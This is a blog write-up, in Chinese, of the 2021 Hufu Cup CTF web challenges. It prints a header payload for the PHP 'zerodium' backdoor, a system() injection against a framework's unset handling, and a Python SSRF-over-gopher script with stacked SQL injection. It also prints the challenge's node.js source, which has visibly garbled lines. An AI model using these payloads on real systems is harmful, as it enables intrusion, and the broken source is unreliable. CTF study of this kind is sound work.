Toc
  1. Web
    1. 签到
    2. unsetme
    3. “慢慢做”管理系统
    4. internal_system
Toc
0 results found
Rayi
2021 虎符杯 writeup
2021/04/05 WriteUp WriteUp 后门

求大佬带带

image-20210404110503502

Web

没十年脑血栓出不来这题

没环境复现了,没有截图

签到

一开始是个博客的页面,XSS、注入一通乱试

一个小时0解

后来给了提示

image-20210404103943786

好家伙,原来是考php后门

2021年3月28日,PHP维护的官方Git服务器 git.php.net 被袭击,其Git仓库遭到恶意篡改。如果开发者使用这些遭到篡改的源代码进行网页的开发的话,网站就会在不知情的情况下被感染。

分析下这个php后门

Github Commit

image-20210404104654755

如果开启压缩输出,访问的USER_AGENTT中有zerodium,则进入eval,并执行zerodium之后的代码

构建exp

GET / HTTP/1.1
Host: xxx.ichunqiu.com
Accept-Encodeing: gzip,deflate
User-Agentt: zerodiumsystem('cat /flag');

这要不给提示。。。。

unsetme

Github Commit

<?php
// Kickstart the framework
$f3=require('lib/base.php');

$f3->set('DEBUG',1);
if ((float)PCRE_VERSION<8.0)
    trigger_error('PCRE version is out of date');

// Load configuration
highlight_file(__FILE__);
$a=$_GET['a'];
unset($f3->$a);

$f3->run();

可以执行命令的点在base.php

最新版的代码做了一些修复

image-20210404105112088

clear方法有洞

image-20210404105329426

__unset

image-20210404105351395

不过还是可以绕的

:[]);system('cat /flag');//

image-20210404105239930

“慢慢做”管理系统

又一个阴间题

我用admin-inner登录了半天,后来发现应该需要admin登录

image-20210404105612625

第一步登录可以用129581926211651571912466741651878684928登录

进入ssrf.php

访问127.0.0.1/admin.php,是个登陆页面

username处可以堆叠注入

过滤了alter,但是可以用rename改表

ctf2数据库内容如下:

array(1) {<br />
    ["Tables_in_ctf2"]=><br />
    string(10) "fake_admin"<br />
  }<br />
  [1]=><br />
  array(1) {<br />
    ["Tables_in_ctf2"]=><br />
    string(27) "real_admin_here_do_you_find"<br />
  }
}
array(1) {<br />
  [0]=><br />
  array(3) {<br />
    ["id"]=><br />
    string(1) "1"<br />
    ["username"]=><br />
    string(11) "admin_inner"<br />
    ["password"]=><br />
    string(32) "5fb4e07de914cfc82afb44vbaf402203"<br />

exp

import urllib.parse
import requests
# rename table fake_admin to fake_admin2;rename table real_admin_here_do_you_find to fake_admin;show tables;
# 先POST admin.php进行登录
post_data = '''username=admin&password=5fb4e07de914cfc82afb44vbaf402203'''
post_data_length = len(post_data)
test =\
"""POST /flag.php?username=admin_inner&password=5fb4e07de914cfc82afb44vbaf402203 HTTP/1.1
Host: 127.0.0.1
Content-Type: application/x-www-form-urlencoded
Cookie: PHPSESSID=rayi;
Content-Length: {0}

""".format(post_data_length)
test += post_data

tmp = urllib.parse.quote(test)
new = tmp.replace('%0A','%0D%0A')
result = 'gopher://127.0.0.1:80/'+'_'+new
payload = urllib.parse.quote(result)

url = "http://eci-2ze8pd94714jhax3okrx.cloudeci1.ichunqiu.com/ssrf.php?way="
headers = {
    'Cookie': "PHPSESSID=2oskcfqn07tv8rc4a5bmpnqht4;"
}
print(url+payload)
web = requests.get(url+payload,headers=headers)
print(web.text)

internal_system

源码:

const express = require('express')
const router = express.Router()

const axios = require('axios')

const isIp = require('is-ip')
const IP = require('ip')

const UrlParse = require('url-parse')

const {sha256, hint} = require('./utils')

const salt = 'nooooooooodejssssssssss8_issssss_beeeeest'

const adminHash = sha256(sha256(salt + 'admin') + sha256(salt + 'admin'))

const port = process.env.PORT || 3000

function formatResopnse(response) {
    if(typeof(response) !== typeof('')) {
        return JSON.stringify(response)
    } else {
        return response
    }
}

function SSRF_WAF(url) {
    const host = new UrlParse(url).hostname.replace(/\[|\]/g, '')

    return isIp(host) && IP.isPublic(host)
}

function FLAG_WAF(url) {
    const pathname = new UrlParse(url).pathname
    return !pathname.startsWith('/flag')
}

function OTHER_WAF(url) {
    return true;
}

const WAF_LISTS = [OTHER_WAF, SSRF_WAF, FLAG_WAF] 

router.get('/', (req, res, next) => {
    if(req.session.admin === undefined || req.session.admin === null) {
        res.redirect('/login')
    } else {
        res.redirect('/index')
    }
})

router.get('/login', (req, res, next) => {
    const {username, password} = req.query;

    if(!username || !password || username === password || username.length === password.length || username === 'admin') {
        res.render('login')
    } else {
        const hash = sha256(sha256(salt + username) + sha256(salt + password))

        req.session.admin = hash === adminHash

        res.redirect('/index')
    }
})

router.get('/index', (req, res, next) => {
    if(req.session.admin === undefined || req.session.admin === null) {
        res.redirect('/login)
    } else {
        res.render('index', {admin: req.session.aadmin})
    }
})

router.get('/proxy', async(req, res, next) => {
   f(!req.session.admin) {
        reteturn res.redirect('/index')
    }
    const url = decodeURI(req.query.url);

    console.log(url)

    const status = WAF_LISTS.map((waf)=>waf(url)).reduce((a,b)=>a&&b)

    if(!status) {
        res.render('base', {title: 'WAF', content: "Here is the waf..."})
    } else {
        try {
            const response = await axios.get(`http://127.0.0.1:${port}/search?url=${url}`)
            res.render('base', response.data)
        } catch(error) {
            res.render('base', error.message)
        }
    }
})

router.post('/proxy', ac(req, res, next) => {
    if(!req.session.admin) {
        reteeturn res.redirect('/index')
    }
    // test url
    // not implemented here
    const url = "https://postman-echo.com/post"
    await axios.post(`http://127.0.0.1:${port}/search?url=${url}`)
    res.render('base', "Something needs to be implemented")
})


router.all('/search', async (req, res, next) => {
    if(!/127\.0\.0\.1/.test(req.ip)){
        return res.send({title: 'Error', content: 'You can only use proxy to aceess here!'})
    }

    const result = {title: 'Search Success', content: ''}

    const method = req.method.toLowerCase()
    const url = decodeURI(req.query.url)
    const data = req.body

    try {
        if(mod == 'get') {
            const response = await axios.get(urlrrl)
            result.content = formatResopnse(response.data)
        } else if(method == 'post') {
            const response = await axios.post(url, data)
            result.content = formatResopnse(response.data)
        } else {
            result.title = 'Error'
            result.content = 'Unsupported Method'
        }
    } catch(error) {
        result.title = 'Error'
        result.content = error.message
    }

    return res.json(result)
})

router.get('/source', (req, res, next)=>{
    res.sendFile( __dirname + "/" + "route.js");
})

router.get('/flag', (req, res, next) => {
    if(!/127\.0\.0\.1/.test(req.ip)){
        return res.send({title: 'Error', content: 'No Flag For You!'})
    }
    return res.json({hint: hint})
})

module.exports = router

绕过登录

/login?username[]=admin&password=admin

剩下不会了,求师傅带带

本文作者:Rayi
版权声明:本文首发于Rayi的博客,转载请注明出处!